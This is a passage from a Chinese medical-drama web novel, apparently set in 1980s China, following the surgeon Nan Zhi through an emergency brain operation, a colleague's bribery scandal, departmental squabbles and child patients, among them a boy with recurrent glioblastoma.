眼科主任兴奋道:“听说舒教授做手术特别帅,是真的吗?” 南栀再次点头。 “那就不用担心了啊!”眼科主任拽着南栀往手术室走,“你就跟我进来吧,情况紧急,得有人动手术,别搭理院长。对了,一会儿找人签字,然后再找院长立个协议,就说你是纯帮忙,不承担任何责任。” 阮乔被惊到了,“主任,您总坑院长吗?” 主任挑眉道:“院长这东西,不就是用来坑的。” “您不怕影响升职??” 主任的眉头扬得更高,“一个技术好的人,会因为小小院长被耽误前途?有本事他们别让我做手术。” 刚从会议室出来的院长正好听到眼科主任这番话。 院长:“……” 瞧瞧,瞧瞧他都有些什么好下属。 院长奇怪道:“你拉着的人是谁?” “合作做手术的啊,”主任说,“舒映阶教授的学生,不比那些胆小怕事的强?” 院领导:“……” 他就觉得小儿外科很耳熟!! 院长道:“这台手术还是让神外主任来做比较妥当。” “老主任是专攻肿瘤的吧?” “是,但是也有脑外伤的经验,可以胜任。” 说这话时院长自己都不怎么自信。 他们虽然是省里不错的医院,但整个省是什么水平,大家都心知肚明。 如果不是雷安的情况拖不得,他们肯定会建议他们去首都接受治疗。 眼科主任道:“手术的事你就别操心了,这样吧,你立个字据,保证南医生不承担责任,这就行了。手术就要交给擅长手术的人去做。” 院长:“……” 莫名其妙又被损了一顿。 提问:该如何对待总是自作主张的下属? 院长看向南栀,“南医生有把握吗?” 南栀道:“有做到最好的把握。” 但死不死的,她也不是神仙,没法把每个去阎王殿的人都抢回来。 院长苦笑片刻,“行,飞刀就飞刀……报警了吗,家属在哪,可能有的并发症告诉他们了吗?赶紧让家属签字!” * 完善术前检查后,雷安被推进手术室。 眼科和神外同台手术,其他人都在隔壁房间等待。 院长实在不放心,换了无菌服跟进去,神外主任也被提溜进去。 他试图为自己解释,“术业有专攻,这方面我确实不擅长,但是我其他手术做得好啊……” 院长冷冷地道:“舒教授不擅长什么手术?” 神外主任:“……” 舒教授是个怪物,颅脑手术都搞得明明白白的。 主任露出笑容,“她应该不会做心外的手术!” 院长:“……” 为了给自己找台阶,直接给人家换科室了是吧? “舒教授都多大年纪了,比我多活几十年,多会几台手术这不是很正常嘛,您说是吧?神外有几个医生敢说能和舒教授掰手腕。” “哦,”院长冷漠道,“就怕人家比你少活几十年的学生都比你强。” 主任:“……” 他看向南栀。 舒教授的学生应该挺多的,真正一心奉献的老教授们,都希望有人能接自己的班。 南栀究竟是什么水平,他们谁都不知道。 开会时南栀倒是分享了薛建的手术经验,但是一台手术说明不了什么问题。 主任也挺好奇,南栀在舒教授那边,到底在什么位置。 手术已经开始。 南栀熟练地剪开硬膜。 眼科主任道:“很稳啊,力量不小。” 南栀说:“我 有保持锻炼。” “外科医生的确需要体力,开脑子的活儿不简单,你和舒教授都厉害。” 院长听得心烦。 这俩人能不能别聊了? 雷安和医院有纠纷! 姚志勇刚刚被警察带走调查,市里马上也会派人过来! 能不能紧张起来!! 眼科主任说:“不要有心理负担,该怎么做就怎么做,也别怕别人有想法,反正不管有什么问题,都推给院长。” 院长:“……” 要不人家怎么轻松呢。 南栀真诚提问:“院长不会不高兴吗?” “说话要凭实力,”眼科主任得意道,“我就是凭实力……发现院长好欺负的。” 院长:“……” 他咳了好几声。 眼科主任回头,看了院长半晌,问:“谁把他放进来的。” 护士们忍着笑不搭话。 眼科主任严肃道:“情况严峻,无关人员就不要放进来了。” 耽误他聊天。 手术室内紧张的氛围缓解不少。 紧张其实不太利于手术,越紧张越容易出错。越担心手术过程出问题,这问题往往就会冒出来。 不过南栀不紧张,不需要说笑话缓解。 她又切开颞叶皮质,“挫伤软化,需要清理。” 南栀开始清除挫伤软化后的脑组织。 清理后可以直接看到金属车闸。 一助瞟了一眼车闸,自己的头都跟着一起疼。 车闸是从右眼处直接插入的,深度可想而知。 他们做手术久了,开个脑子不在话下,再血腥的场面也习惯了,但这种直接从眼球插进来的…… 几个助手同时打了个哆嗦。 南栀道:“海绵窦外侧壁破损,这里的神经断了。” 一助后怕道:“车闸末端已经在颅底硬膜外了,一定很疼吧。” 眼科主任检查车闸后说道:“很牢固,拔出来估计不容易。” “出血量没想象中大,好消息。” “也得看拔除车闸后如何,”眼科主任道,“来试试。” 几个助手强忍不适上前帮忙。 南栀站在旁边等候。 助手说:“听说他和姚主任有黑暗交易。” “好像是姚主任手术事故,收买家属,他没跟人家父母说。” “那就是为了钱呗,不是什么好人。” 这么一说,大家的心理负担减轻不少。 他们都不愿意病人倒在手术台上,如果可以,他们更希望手术台上永远不会躺着病人。 死亡是不可避免的,也是他们每个人做医生后需要学会接受的,但看到鲜活的生命离开,谁都不能真正做到完全心如止水。 不过如果病人是坏蛋……这可就轻松多了。 眼科主任握住车闸。 他忽然说道:“救了他,他妻子的家人会不会气死?” 南栀说:“孔武刚刚还说想找新医生做手术。” 说来可笑,雷安出事后,他家里人一直没露面,同意书还是孔武签的。 “是哦,如果把他救活了,他也不会遭到惩罚,只是收了姚主任的钱,根本不犯法。” “在外面乱搞,再拿妻子的性命换钱,现在倒算是遭报应了,不过还是不开心。” 这不相当于救了个人渣?他以后还会祸害别人家的姑娘。 不救,良心不安。 救了更生气! 南栀忽然说道:“只有他知道姚志勇给的那笔钱放在哪里。” 医生们:“……” “这得救。” “恩,必须救。” “命不命的先不说,不能不管钱……哦不不,我是说钱不钱的先不说,命重要。” 护士说:“不用解释,我懂你。” 眼科主任丝毫没受到影响,他的手极稳,在所有人的注视下,慢慢将车闸往外拔。 速度均匀,车闸没有乱动,能看出阻力不小,但他就是能维持匀速。 车闸被拔除,眼科主任塞上海绵卷止血。 大家同时松了口气。 “干活干活,没有车闸看着舒服多了。” 没人再讨论雷安的绯闻。 南栀有些佩服眼科主任。 其他人会说话,多少是因为紧张,但眼科主任是一点儿都不受影响。 “您好厉害,手真稳。” 眼科主任道:“你的手也稳,你来拔是一样的,只不过是从眼球进去的,还是我来动手比较好。明眼人一眼就能看出来,你的基础很扎实,稳、准、冷静,这些都是外科医院最需要的。” 俩人互相佩服。 院长无语:“他们还吹嘘起来了?” 神外主任同样愤愤不平,“就不能手术结束后再吹?!” 凭啥只有他紧张,两个主刀的都不紧张?! 院长看向神外主任。 主任:“……” 他收起因愤慨挥舞的老手。 接下来的手术很顺利。 内眦上方有大约4厘米的开放性伤道,这部分由眼科主任来清创缝合。 术野止血后再冲洗干净,就缝得差不多了。 二助忽然说道:“脑张力偏高。” 南栀去除骨瓣,在皮下放置外引流,脑张力逐渐正常。 院长松口气,把神经主任叫了出去,“姚志勇的事情,你盯着点儿,要安抚好孔阿芝的家人。” 神外主任道:“明白,姚主任太傻,他以前还有……如果 事情闹大了,这医生恐怕是做不成了。” 石翰墨又确诊帕金森,虽然暂时看不出来,但将来手抖,肯定不能再上台。 神外一下子少了两个副主任。 “你们科室一共四个副主任,和另外两个谈谈,先撑起来。”院长回头看向手术室,“怕是要变天了。” 在省内小城的不知名医院,不但拥有先进的设备,还有一位不错的神外医生。 院长不是傻子,一个外科医生拿起手术刀,他就能判断出对方是个什么水平。 南栀的样子,让他想到舒教授。 他其实没见过舒教授,只从一些影像资料中看到过,在他脑中,南栀的形象和舒映阶是重合的。 最可怕的是,南栀才多大年纪? 神外主任拍马屁道:“咱院长就是厉害,没窗户都知道外面的天气!” 院长:“……” 他无语好半晌,道:“是我错了。” 主任:“没变天?” 院长说:“从你做上神外主任开始,一院的神外就完了!完蛋了!” 主任谦虚道:“这怎么会?咱们医院本来就差劲。” 也就在省内耀武扬威。 院长:“……” 他就说神外完了吧。 手术用时四小时十五分钟。 出血约200ml,手术顺利。 南栀走出手术室,听到这一结果,孔武失望道:“救活了啊?” 签字是他还有良心,但如果真问他希不希望雷安活下来,答案当然是否定的。 雷安这样对待孔阿芝,孔武恨不得他直接去死。 南栀贴心安慰道:“别太难过,眼球没保住,以后的生活还是很困难,你就放心吧。” 眼科主任:“……” 偶然路过的家属:“……” 吃人的医院!! 阮乔赶紧和人家解释,“病人谋财害命,这是受害人的家属,我们医生是救死扶~伤~的~” 家属:“哦哦,我信的。” 阮乔:“……” 她放弃解释,反正不是在康宁医院。 姚志勇一事闹得很大。 经过调查,姚志勇是在术中没有握住工具,不慎割伤神经,在补救过程中心慌意乱再出事故,造成大出血。 握不住工具对外科医生来说是极其低端的失误,姚志勇造成的低端手术事故,堪称外科医生的耻辱。 医院调查时,姚志勇收买了医生,同时给了雷安五万块钱。 雷安一看自己能成为万元户*5,当即点头答应说服孔阿芝的父母。 孔阿芝的父母原本就不懂手术,雷安和孔阿芝的感情看起来又很好,孔阿芝死后,他还一副伤心欲绝的模样,他们便信了雷安的话。 姚志勇这个医生是做不成了,院方很快做出开除决定。 他给雷安的五万块也被找到。 同时,上级领导派来的调查小组还查出姚志勇有受贿、接受患者家属红包、乱开检查等行为。 他一个普普通通的副主任,日子过得比院长还要奢靡。 相比较之下,石翰墨的生活就朴素多了,这二人的收入应该差不多。 经过这一系列调查,一院的神外算是偃旗息鼓。 神外主任亲自去门诊看诊。 到他这个级别,门诊已经很少了。 他去门诊第一天,便收到一个脑瘤复发的患儿。 神外主任看看患儿,再看看患儿的病历,忽然想起院长的话。 “要变天了。” 神外主任看了患儿良久,然后痛心疾首道:“你们……去临川市的康宁医院看看吧,那边有设备,去找一个姓南的医生。” 省会医院推荐地方小医院,倒反天罡啦! * 南栀几人这一趟的学习成果很不错,而且还顺便把韦初雪带回去了。 韦初雪的脑瘤是良性的,家里有钱,靠年轻的身体和钱撑着,恢复得非常好。 她重新回到医院,而且来了……小儿神外。 儿科办公室,韦宁雨板着脸表达不满,“你为什么过来?你不是跟着汤院长?” 韦初雪气定神闲,“和汤院长商量过了,政治性的工作我不喜欢,不会再做。” “你不是想让康宁医院超过恩德吗??想把康宁医院变成大医院??” 韦初雪道:“你也太热血了,我只是个普通的医生,没那么大的愿望。” 韦宁雨:“……” 是谁当初瞧不起不上进的医生的? 是谁天天催着陆随和箫珵赶紧用功努力? “倒是你,”韦初雪说,“你怎么没事就往其他科室跑,还让人家多写文章好好发展,专给别人打鸡血?” 韦宁雨:“……” 对哦,他和韦初雪怎么换过来了?? 韦初雪曾经研究的就是肿瘤,现在她专注脑瘤。 康宁医院的神外虽然历史悠久,但韦初雪清楚,有南栀在小儿神外,庄鸿是比不上南栀的。 考虑到未来发展,当然是选择南栀更稳妥。 韦宁雨晦气道:“咱们科怎么什么人都能进?医务部的跑过来,这个也跑过来。” 韩阅松推了推眼镜,无措地看着韦宁雨。 “确实如此,”韦初雪淡淡道,“护士也能跑过来。” 韦宁雨:“……” 韦初雪补充:“还是住院部的护士。” “!!” “你别瞧不起我,我想做医生那还不是简简单单?但我不想做,我就想做护士,我将来……我是要进手术团队的,手术团队能缺护士吗?倒是你,你开过刀吗?做过颅脑手术吗?” 韦宁雨气哼哼地往外走,“你等着!” 阮乔低声对南栀说:“咱们俊俊一看到韦医生就生气,他俩能共事?” 南栀道:“韦医生有时候确实挺气人的。” 韦初雪微笑,“但是他和你都能和平相处,和我应该也行。” 南栀:“这有关系吗?” “有呀,”韦初雪说,“一般情况下,你比我更气人啊。” 南栀:“……” 第104章 第104章题外话 连院长虽然给南栀开了绿灯,但南栀也不能真把儿科的工作一扔,全身心投入到神外手术上。 现在的手术数量也不允许她这样做。 南栀还有儿科门诊的排班。 早上尚延把所有医生叫过去开了个会。 盛昭云和卢含娇都在,坐在尚延两侧。 南栀还是第一次和卢含娇近距离接触。 卢含娇在南栀从首都回来前就调过来了,是儿科的副主任,听说资历很深。 她大约四十岁,头发用发簪挽起,五官端庄,神情严肃。 阮乔小声和南栀解释,“卢主任不太好相处,脾气一般,听说老公和人家跑了,还有人叫她灭绝师太。” “老公跑了?”南栀羡慕道,“好事啊。” 阮乔:“……也可以这样说。” “但是灭绝师太这个称呼不太好。” 总拿人家有没有男人来取笑,谁很需要男人似的。 阮乔:“也是,但她的脾气是真的不好,好像看什么都不顺眼。总之你得小心点儿,别被她抓到把柄。” 尚延给了他们新的排班表,重新分配了任务。 尚延说完,卢含娇开口道:“儿科最近接到几起投诉。” 她看向盛昭云,“盛主任,你对待患者,应该更和善些,他们是弱势群体。” “哪个?”盛昭云问,“拿刀让我救人的那位?他拿的也是弱势的刀?” 卢含娇:“……” 两个副主任不对付。 盛昭云看向尚延,“医院解决纠纷,如何对患者说是一回事,如何对医生说又是一回事。患者走了,这辈子不知道还能不能见到,但医生可是会在医院工作一辈子,处理问题时,也该考虑考虑医生是否会寒心。” 尚延:“……” 他就说了不要惹盛昭云吧。 南栀带头鼓掌,“盛主任说得好!” 阮乔紧随其后。 魏联也慢悠悠道:“人家都拿刀了,我们还态度温和?等我见到阎王,态度倒是能好一点儿,卢主任,你去叫患者和我一起见阎王?” 卢含娇脸色愈来愈差,“你们不要因为在康宁医院的时间久,就联合起来,我们都是工作伙伴,以后都要一起相处!” 魏联道:“我是新来的。” 卢含娇没好气地白了他一眼,“你是态度差的代表!” “明白了,”盛昭云微笑道,“以后遇到这种事,我也不说话了,把您叫过来,您去和家属温柔地沟通,有刀子您挡着。” 卢含娇:“……” 尚延尴尬道:“几位,大家以后还要一起工作,有必要吗?卢主任,医院要包容患者,要和善地对待他们,但是投诉也要筛选,如果只要患者投诉,医生就要道歉,医生的权利谁来保障?” 更何况即便投诉了也就那么回事。 南栀很赞同尚延。 现在的投诉没后世那么严重,不会影响科室,也不影响医生评优,最重要的是,不会影响工资的奖金。 卢含娇神色不明。 她扫了眼众人,有被排除在外的感觉。 卢含娇不太在意,她一直都是一个人,不需要伙伴。 卢含娇道:“还有一件事,南医生,你的学历什么时候补?” 儿科和心外现在是康宁医院的“头牌”,但人家心外医生的学历可比儿科强得多。 卢含娇看来看去,拉后腿的就是南栀这个培训班毕业的。 手术再厉害有什么用,还得费劲地和人 家解释为什么厉害。 但如果是名校毕业的,只要摆出学校和老师就行了。 南栀一直在忙,学历的事又耽搁了。 这一点卢含娇说得倒是挺对,会议结束后,南栀就去找了祁念珍。 祁念珍已经帮她联系好了。 “咱临川市的医科大学好说,医院很多人都是在这里毕业的,校长我也认识。你选个导师吧,选完走程序,我再去谈给你加测的问题。” 南栀想挑小儿神外的导师,但是没有。 儿科的导师也不太合适,方向已经不同了。 南栀挑来挑去,最终挑了一位神外方面的导师。 祁念珍扫了一眼,“这人我不熟,不过看履历确实是最好的,放下吧,我去联系。” 办妥后,南栀也是拥有研究生学历的人了。 下午南栀又被拽到儿科住院部。 好巧不巧的,南栀见到了老熟人卢思萌。 卢思萌又是因为哮喘住院的,她家人的耐心似乎已经快消耗光了。 护士低声对南栀说道:“听说她妈妈又怀孕了,好像找人查过,是个男孩。这次把孩子送过来,一次都没来看,雇了一个人照顾她,但是家长不在,雇的人也松懈,唉,可怜的孩子。” 曾经没有遇到井珧的卢思萌还是很乖巧的。 即便后来不太乖巧,也是个本性善良的孩子,而且南栀最讨厌的就是重男轻女。 南栀问:“在哪家医院查的性别?” “好像是妇幼医院?不太清楚诶。” 南栀:“举报他们!” 护士幽幽道:“就怕大家知道后,更多人跑去检查。” 新中国都成立这么久了,这些臭毛病还是没改好。 卢思萌正在床上玩洋娃娃。 她每次住院都会带洋娃娃陪她,前几次都是新的娃娃,这次带的是个旧娃娃。 床边还有一个小男生,手慢慢伸向洋娃娃。 卢思萌把他的手打开,他坚持不懈地再次伸手。 南栀这次过来,就是看这个小男生的。 “周尔?”护士走过去,“又欺负妹妹?!” 周尔收回手,笑嘻嘻道:“她的娃娃太丑了。” 卢思萌嘴一撇,想哭。 但眼泪还没掉下来,她又想到井珧大哥对她的谆谆教诲。 卢思萌说:“没你丑啊。” 周尔:“……” 这回轮到周尔想哭了。 南栀摸了摸卢思萌的头发。 卢思萌抬起头,甜甜笑道:“南瓜姐姐。” 护士:“呃,为什么是南瓜。” 卢思萌掰着手指头算道:“傻瓜姐姐,南栀,南瓜姐姐。” 护士:“……” 她还是第一次见有人管南医生叫傻瓜的。 南医生从儿研所回来后的那几台手术都帅爆了好吗?手法比神外医生都好,患者恢复得也很好。 护士把周尔带出病房,“南医生,你给看看,输尿管反流Ⅳ°。” 膀胱输尿管反流主要是连接部异常,排尿时无法阻止尿液进入输尿管。 Ⅰ、Ⅱ、Ⅲ度通常药物治疗,Ⅳ、Ⅴ度需要手术矫正。 “周尔是原发性的,膀胱三角区和输尿管末端平滑肌先天脆弱,连接部瓣膜机制不全,尿频,排尿时疼痛,还有泌尿系感染,正在服药控制感染等待手术,但是手术嘛……还没定下来,医生说想听听你的意见。” 周尔需要做手术,应该去外科的住院部,但是现在还在控制感染,暂时留在儿科。 南栀回忆道:“好像是看到过类似的病例。” 她得在八十年代的论文中挑选最新的外科手术方式,如果太超前,遇到现在还没有的设备就尴尬了。 “横切膀胱,输尿管内插入输尿管道观,两侧输尿管口稍内侧各缝一牵引线……” 周尔趁南栀和护士交谈时跑走了。 刚好周母出来找他,“你能不能安静一会儿?到处惹是生非,不是疼哭的时候了?” 周尔已经七岁,很要面子,他着急道:“没疼哭,我没疼哭!” “哦,”周母冷笑,“那你为什么哭?” “是……”周尔说,“是爸爸,爸爸把他的眼泪塞给我了,我是替他哭的!” 周母:“你倒是挺孝顺,但你编瞎话时能不能动动脑子,难怪老师说你笨!你爸爸为什么要哭?!” 周尔道:“爸爸是疼哭的呀,你上次拿晾衣架抽他,他……” 周母老脸一红,捂住周尔的嘴,鬼鬼祟祟退回病房,“这就不用说了!” 南栀和护士还没谈完,同一楼层的段嘉和梁梦凑过来。 南栀刚来时,是帮忙打杂的,他们是住院医生。 现在南栀是儿科主力,他们还是住院医生。 “小栀啊,眼科你熟悉不?听他们说你什么都知道,还会背论文,有什么新论文,能不能背给我们听听?我们也想努力。” 南栀如实道:“我不会背论文。” 背神外的论文就算了,其他科室的论文她干嘛要背? 梁梦说:“可不管他们问你什么,你都能回答啊,还有理有据的,说是在论文里看到的。” “是呀,”南栀说,“是看过的。” “看完还要背?你真努力。” 南栀摇头,“看完顺便记住了。” 梁梦:“……” 段嘉说:“够了,你别说了。” 红人南栀在住院部晃悠好久才回到诊室。 陆随正在诊室等她,“现在想见你一面真不容易。” 南栀一口气喝光水,“我也不懂,他们为什么突然都来找我?” “一院给来的电话,感谢你路见不平拔刀相助,你没回来之前就传开了。”陆随道,“恩德是后起之秀,大家还是很认省一院的。” 一院院长特意打电话来感谢,这可是头一遭,他们想都不敢想。 各个科室都知道此事,大家再一讨论,发现南栀在很多个科室都有“辉煌历史”。 尤其是骨科,对南栀的吹嘘达到顶峰。 于是南栀就有了“手术厉害、什么都会”的人设。 “如果他们的问题你答不上来,大家讨论讨论可能就过去了,现在……” 估计还得让南栀背更多的论文。 南栀:“……” 她说:“你买台电脑,我都打出来算了,你也写,还有我哥,都写,给他们看。” “道理我都懂,”陆随问,“但为什么是我买电脑?” 南栀:“买电脑要花钱呀。” 陆随:“……” 南栀:“我们不是要结婚吗?你的钱就是我的钱,我就不经手你的钱了,太麻烦,所以你直接买吧。” 陆随:“……你考虑得真周到。” 他这个工具人都能升级了? 南栀下午专门开小儿神外的诊。 病人不多,她还顺便从隔壁普通诊室接走几个患儿。 “百日咳,现在是痉咳期,可能有并发症,比如肺炎,如果后续有发热,第一时间送到医院。剧烈咳嗽时可能引起脑缺氧、缺血、颅内压增高,这些都要注意。抗生素在发病14天内效果才比较明显……就先不吃了。” 陆随去医院外给南栀买了些饼干点心。 南栀容易忙,还喜欢健身,容易饿。 她自己抠抠搜搜的,什么都不想买,陆随和箫珵还得轮流给她添补给。 “箫珵说你现在很忙,顾不过来吧。” 南栀没什么感觉,对她来说,忙不会特别累,好像是常态。 南栀正想偷块饼干吃,一对夫妻牵着一个小男孩走了进来,“您是南医生吗?” “坐,”南栀观察着男童,“什么症状?” “医生你好,这是我儿子万昭,”万母递给南栀一个袋子,是万昭曾经拍过的片子,“两年前万昭脑子里发现胶质母细胞瘤,做了开颅手术,今年……又复发了。” 万父道:“我们是在当地做的手术,这次复发,我们已经去了很多地方,都不愿意接收我们, 省一院推荐我们来这里看看,说是有新设备?” 陆随退到一边。 胶质母细胞瘤属于WHOⅣ级,是高度恶性的脑肿瘤。 成人发病较多,更多的是老年人,预后极差,生存时间仅为13.6个月。 南栀看得很认真,但她只看了不到一分钟,便抬头看向陆随。 陆随拧眉。 南栀收回目光,笑眯眯地问道:“万昭小朋友?最近有不舒服吗?” 万昭精神尚可,他摇头。 万母已经在偷偷抹眼泪,“是定期复查时发现的,我们能做得都做了,才两年,怎么就……” 南栀道:“爸爸带孩子出去逛逛吧。” 万父抱起万昭离开。 万母道:“是不是真的没救了?当时医生推荐我们做手术,说预后比成人好,我们才做的。” “是这样的,”南栀斟酌道,“胶质母细胞瘤多发于老年人,预后极差,生存时间为13.6个月,一年左右。老年人身体机能退化,还可能有各种基础病,相比较之下,儿童的预后的确要更好一些,但是总体生存时间,也就43个月,成人的四倍。” 南栀在儿研所跟着舒教授做过很多切除肿瘤的手术,有舒教授在,几乎没有失败过。 但她们都知道,恶性脑瘤的复发概率有多高,如果留在儿研所回访病人,曾经手术成功的患儿,可能也会再次走向死亡的大门。 死亡,人生的必修课。 万母用手绢捂住眼睛。 她没有发出声响,但手绢很快被浸湿。 良久,她才放下手绢说道:“小昭是我第一个孩子,我怀他的时候,孕反特别厉害,当时我就在心里想,只要这么一个,绝对不再要了。” “他在我肚子里时很皮,出来后也淘气,带他出门撒手就没,经常玩得全身是泥,我还总打他……如果我知道他会得这种病,玩就玩了,打他做什么?” 万母问:“真的没救了吗?不能再试试吗?不是有新机器新设备么,还有没有药,多少钱都行,让他再陪我一年……不,几个月也行,生存时间不是有四十几个月吗?为什么他这么快就复发了?!” 南栀听得心里难受。 她以前的运气太好,除了雯雯捡回来的女人,还没遇到过无法医治的病人。 南栀耐心解释道:“第一次开颅手术后,脑组织会粘连,初次手术形成的瘢痕组织影响视野。初次放疗使用的药物会有耐受性,效果不好,再就是初次手术遗留的癌细胞可能更加顽固,肿瘤复发后,转移得很快。” “小昭他……” 南栀说:“要做最坏的打算。” 万母沉默地看向门外。 万昭还不知道自己得了什么病,只知道自己要经常去医院。 自从万昭确诊,万母就有他即将离开的心理准备,但真到这一天,心还是刀割般的痛。 “您看……还有必要再去其他医院吗?” 南栀于心不忍,但作为医生,她只能实话实说:“从他已经做过的检查来看,需要做准备了。他可能很快就会有身体上的反应。” 脑瘤压迫,颅内压升高,瘫痪,大小便失禁,肺炎…… 南栀说:“尽量让他舒服些。” 万母失神地看着窗外。 南栀安静地等她做决定。 陆随也跟着叹气。 片刻,万母说:“医生,给我们办住院吧,再查一查,万一有办法呢?我们家挺富裕,绝对不会拖欠医疗费,就算把家拆了,也得治病啊。” * 万昭的检查结果很不好,复发的肿瘤位置极差,即便是初次手术,也无法切除干净。 癌细胞已经转移,只是一直没表现出症状。 住院的当晚,万昭便开始发烧。 周尔好奇地看着刚被送进病房的万昭。 卢思萌道:“他看起来病得很严重。” “比我严重吗?”周尔自豪道,“我尿尿都疼,而且我还能忍得住疼,从来都不哭。” 这可是人生中的大事! 卢思萌认真道:“应该没你严重,但是你总哭呀。” 她都听见了,周尔被他妈揍得嗷嗷哭。 周尔:“……你懂什么?这不是哭声,我是在号召大家一起反抗压迫!” 他不想再和卢思萌说话。 总说实话的人,他可不想多接触。 周尔走到万昭的病床旁。 万昭的精神差多了,他睁着眼睛,一动不动地盯着天花板。 周尔问:“你生了什么病?” 万昭看向周尔,然后翻了个白眼,不理他。 “干嘛?”周尔叉腰,“我可是整个病房病情最重的,我是老大!” 卢思萌努力思考,那些不能下床的小伙伴其实比周尔更健康? 恩……不能小便的确很严重。 万昭不说话。 周尔就在他耳边叹气,“唉,不顶用喽,你也就是发发烧,就没精打采的,没有勇气哦。” 万昭还是不想搭理周尔。 周尔拉着卢思萌唱双簧,“你说我是不是最勇敢的小朋友?” 卢思萌说:“不哭的时候是。” 但很少有不哭的时候。 周尔:“……我是在唱歌!为自己歌唱!歌颂!” 卢思萌懵懂道:“唱歌怎么会有泪水呢?” “那是激动的泪水!” 卢思萌明白了。 原来哭得越狠越勇敢,原来曾经的她是世界上最勇敢的小女孩! 万昭越听脸色越臭。 他在心里提醒自己:他是个成熟的大人了,不能和小孩儿一般见识。 周尔:“我啊,就是因为太勇敢,所以……” 万昭忍无可忍,掀开被子大吼道:“我才是最厉害的!” 周尔愣住。 万昭指着头说道:“看见没,我开过刀!” “啥?”周尔和卢思萌围了过来,踮着脚尖看万昭的头,“什么是开刀?” 万昭骄傲道:“是把脑袋打开哦,你们敢吗?” 周尔捂住头。 万昭说:“而且我也没哭。” “骗人,”卢思萌说,“那么疼,怎么可能不哭呢?” 万昭梗着脖子说道:“肯定没哭,绝对没哭,不信你去问我妈。” 恰好万母办好手续走进来,就听见儿子很有底气地吹牛。 她尴尬道:“确实没哭。” 都全麻了,哪有机会哭。 万昭开心了。 周尔很郁闷,他低声问卢思萌,“把脑袋打开,比不能小便还严重吗?我能不能也去把脑子打开?” 卢思萌认真分析道:“我奶奶说脑袋很重要的,她都不让我用头去撞墙。” 周尔:“……你为什么要用头撞墙?” 卢思萌:“痒呀!” 周尔:“……” 卢思萌确实是该看看脑子了。 万母递给周尔和卢思萌两块糖,“你们去旁边玩吧,让弟弟休息休息。” 周尔:“好的,弟弟,好好休息。” 万昭立刻反驳,“我年纪大,我是哥哥。” “我是哥哥!” “我!” 两个差得很多的人在争谁是哥哥。 万母本想制止,可看着看着,就说不出话了。 不知道万昭还能活泼多久。 也许过不了几天,他就…… 万母没再赶周尔走。 南栀拿到所有检查结果后,找到神外的庄主任和韦初雪一起开会讨论可行的治疗方案。 会议持续了两个小时,大家的意见很一致。 作为万昭的主治医生,南栀要把大家讨论的结果告知万母。 她来到病房,看到万母在和周母聊天。 周母切了一盘苹果给三个小朋友吃。 卢思萌吃得很开心,周尔和万昭在拌嘴。 “你为什么总躺在床上,不下来走走吗?”周尔很嫉妒。 他平时躺在床上,总是被他妈抽起来。 他妈说他太懒。 万昭住院后一直躺着,人家的妈妈都没说他! 果然别人的妈妈都是最好的妈妈! 万昭现在的话很多,他冷哼道:“我才不下去和你玩儿,看你的衣服,都穿破了,一看就是贪玩的坏孩子。” 周尔:“??我这是英雄的象征!这是我救小黄留下的,你知道小黄有多感激我吗?我赶走了恶霸!” 万昭不愿意承认周尔是英雄,但他很好奇,“有多感激?” 周尔自豪道:“它送给我一块骨头!” 万昭:“……,骨头?” “对啊!”周尔说,“我帮他把胡同里最凶的狗赶走了!” 万昭:“……” 那只恶霸狗超过十斤了吗? 万昭背对着周尔,不想理他了。 南栀站在病房门口看了一会儿,问道:“需不需要让他休息?” 在万昭没发病前,万母对他的要求比较严格。 他还去幼儿园就开始学加减法,每天要按时回家,不能贪玩。 但现在…… 万母说:“累就累吧,他已经很久没说过这么多话了。” 万昭的童年和其他小朋友的童年不太一样,尤其是生病以后,他越来越不喜欢说话。 有的时候他在家里待一整天,都不会说一句话。 现在肿瘤复发,虽然没有太明显的特征,但仍然不舒服,话就更少了。 周母歉意道:“我家孩子太吵了,唉,我揍也揍了,他就是不听话。” 万母笑道:“活泼点儿好,活泼了才健康。而且……小昭看起来很喜 欢周尔呢,不然他不会搭话的。” 南栀果然还是无法理解小朋友之间的友谊。 她把万母叫出去,和她谈开会讨论的结果。 万昭偷偷看着二人。 周尔绕到万昭对面,“你在看什么?” “嘘,”万昭说,“你听,我活不了多久了。” 周尔一怔,“啥?” 卢思萌也跑了过来。 万昭笃定道:“她们不敢让我听,说明我活不了多久了,我都知道。” 卢思萌被吓哭了,“你要死、要死了吗?不要啊。” 周尔也磕磕巴巴道:“你胡说什么呢?你看着好好的,怎么会活不了多久?” “我就是知道。”万昭从床上爬起来,“我得做点儿什么,不能等死。” 卢思萌眼睛通红,“你说,我帮你。” “我也是!” 万昭一时茫然。 他病得太久了,已经有些累了。 每次来医院,他都一百个不愿意,来医院就意味着受苦。 医院的日子真的很难熬。 他很疼,好像哪里都疼,哪里都不舒服。 可是不来医院,妈妈会生气。 周尔催道:“你没有愿望吗?我有很多愿望,都没人帮我实现。” 卢思萌问:“什么愿望?” “我想一口气吃十块糖,不许打我的那种。我想买一百个弹珠,不用我出钱,而且我可以随便选花纹。还有,我还喝汽水,同时打开十瓶汽水,我想喝哪瓶就喝哪瓶,尿床了也不准揍我。” 万昭:“……” 瞧瞧,天真无知的小朋友,不是哪个小朋友都像她一样成熟。 卢思萌:“哇,好厉害的梦想!” 万昭:“……” 糖有什么好吃的?弹珠好玩?汽水……有点儿想喝。 万昭忧郁道:“这些太容易实现了。” 他都快死了,妈妈肯定满足他。 今天妈妈都没催着他午睡。 万昭忽然说:“我想去上课。” 想来想去,好像上课还蛮有意思的。 他没去医院之前,每天都要上课,妈妈给他安排了很多课程。 他还能在课间和小朋友们一起玩捉迷藏,或者老鹰捉小鸡,他当老鹰,一个小鸡都抓不到。 鸡妈妈和小鸡都很开心,就他灰头土脸地挨老鹰妈的骂。 万昭想去上课,妈妈说过,他聪明,将来是能考上大学的。 时代变了,考上大学才有前途。 周尔:“……,居然有人想去上课?” 卢思萌感慨道:“世界之大无奇不有呀,咦,我是不是说成语了?不对,歇后语……歇后语还是成语?哎呀,反正我好有文化呀。” 周尔说:“你还是换个梦想吧,换一个快乐的。” 怎么会有人在临死前还和自己过不去。 万昭:“……,肤浅!” 万昭留在医院接受治疗。 说是治疗,其实万昭经过放疗和化疗,对很多药物都有耐受性。 南栀翻遍论文,想找到万昭没用过的新药,给他减轻痛苦。 陆随家里有陆嘉述的电脑,他又买了一台电脑送到南栀家里。 白色的电脑,和彩色电视机一样,都有“大肚子”。 电脑桌面非常复古,新电脑也一卡一卡的。 南栀查资料的同时,把内容全部整理出来备用。 虽然输入法还没有记录和联想功能,但也比写出来快得多。 她翻了一周的资料,才找到两种国外产的药,买起来有点儿麻烦。 